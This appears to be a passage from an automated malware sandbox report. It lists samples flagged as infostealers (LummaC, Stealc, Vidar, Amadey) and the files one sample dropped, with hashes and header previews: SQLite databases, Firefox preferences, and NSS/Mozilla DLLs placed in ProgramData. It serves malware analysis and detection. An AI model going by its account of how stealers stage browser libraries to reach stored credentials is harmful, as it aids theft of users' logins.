	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	p5iu2ILQzE.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	build.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	JMFoyLSCjP.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	QS4CbvR1WQ.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	p5iu2ILQzE.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	build.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	JMFoyLSCjP.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAEBAKKJKKEBKFIDBFBA

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGIIIDAKJDHJKFHIEBFCGHCGH

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIDHIEBAAKJDHIECAAFH

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GHDHDBAE

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJEGDAKEHJECAKEGDHJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAKFCGIJKJKFHIDHIIIEBGCBF

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJECFIEC

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265323083793182
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMjSAELyKOMq+8yC8F/YfU5m+OlTLVumo:Bq+n0Jj9ELyKOMq+8y9/Own
MD5:	50DF72395DEBAF7D5FEB36AD44B04FEF
SHA1:	4623DDD2D629F795BD45578077E4E9FA1A8EFD1A
SHA-256:	93702C06525164BF441AFF36FE806FAF9A10FE1D1C6BEAAC69376965349CAB73
SHA-512:	B1FFF0CEA9C2EE8BA78E312B87759FE34022D652CFC3141BBB2A2F4734267D7478EFD8CED55B027799FDBEDF017FBD9956037961D3E8D61ACBD77630488C7BB3
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: QS4CbvR1WQ.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: p5iu2ILQzE.exe, Detection: malicious, Browse Filename: build.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: JMFoyLSCjP.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: p5iu2ILQzE.exe, Detection: malicious, Browse Filename: build.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: JMFoyLSCjP.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\23469087-4f3b-4d41-9c18-17b17607ad60.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46020
Entropy (8bit):	6.087585077633844
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9MBLuwhDO6vP6OJa5KpRSDJpkXFfDuhy1DhSCAoWGoup1Xl0:mMk1rT8HR9Mo6pN+01sRoWhu3VlXr4x
MD5:	2CE2F83FE90C5C090ABFB5928BAC4523
SHA1:	439DC04CDB77EE53AA400167D9BEA60F68B4F3B7
SHA-256:	8A31E3A8A9D407D0E6AA6D59F7F20C8EBE53914D4DD5312E853C64D445E0C9CB
SHA-512:	645941AF1E34AA1BAE890134CA97D0E0F0273C3D19E376BA07E6EC52553A48B5263652814E8C3FB1DAB9E47EC055471DEA067F018431737183A149C101F14B46
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3a6b57d9-ef6d-4cbe-a3ee-f5f51cf3407a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090741776791101
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+Otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEA63tbz8hu3VlXr4CRo1
MD5:	9A5598A9062AF38E0F48D033F6028E46
SHA1:	D06CD1330F3F27021BAF12E39B6895FE249D15A2
SHA-256:	082DF75745266C1FA4B35B175D3F40F6C7DD0C260EAEA1B24C51B52345456292
SHA-512:	67F37777951EA79C3ACEA4DC855416865E6C71ADCC75A3DB5B96123C0AA7BB698396D09C344FCF70E59EC3DDCCC6DB5FABFE5CA9AA97B1FE50ADC20886C85965
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3b0ca817-b772-47af-baed-2c7a26c60533.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44616
Entropy (8bit):	6.096138357806996
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBawuDhDO6vP6OJa5KpZAx4YIeFycGoup1Xl3jVzXq:z/Ps+wsI7ynEd6pNrchu3VlXr4CRo1
MD5:	D92763A9A3F337579162846A81D9EBC3
SHA1:	FB59D2AE21E8F579C0038E34F99EA630F75583DD
SHA-256:	250225FA6EF6E95F3488FA949AF08705A0A50C20DB208F492B597F23A69DC08F
SHA-512:	9AB150ACCEC3DE26D83F2316F104429EFE8D061D7F2BEBEEE65E19025D52D4FB27AC19C8B7699FA34840D4388CDFAE64CAA8830DF079848631212B1959FA7528
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4d28d006-fc21-4751-94f2-ca81f4d697ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44616
Entropy (8bit):	6.096138357806996
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBawuDhDO6vP6OJa5KpZAx4YIeFycGoup1Xl3jVzXq:z/Ps+wsI7ynEd6pNrchu3VlXr4CRo1
MD5:	D92763A9A3F337579162846A81D9EBC3
SHA1:	FB59D2AE21E8F579C0038E34F99EA630F75583DD
SHA-256:	250225FA6EF6E95F3488FA949AF08705A0A50C20DB208F492B597F23A69DC08F
SHA-512:	9AB150ACCEC3DE26D83F2316F104429EFE8D061D7F2BEBEEE65E19025D52D4FB27AC19C8B7699FA34840D4388CDFAE64CAA8830DF079848631212B1959FA7528
Malicious:	false
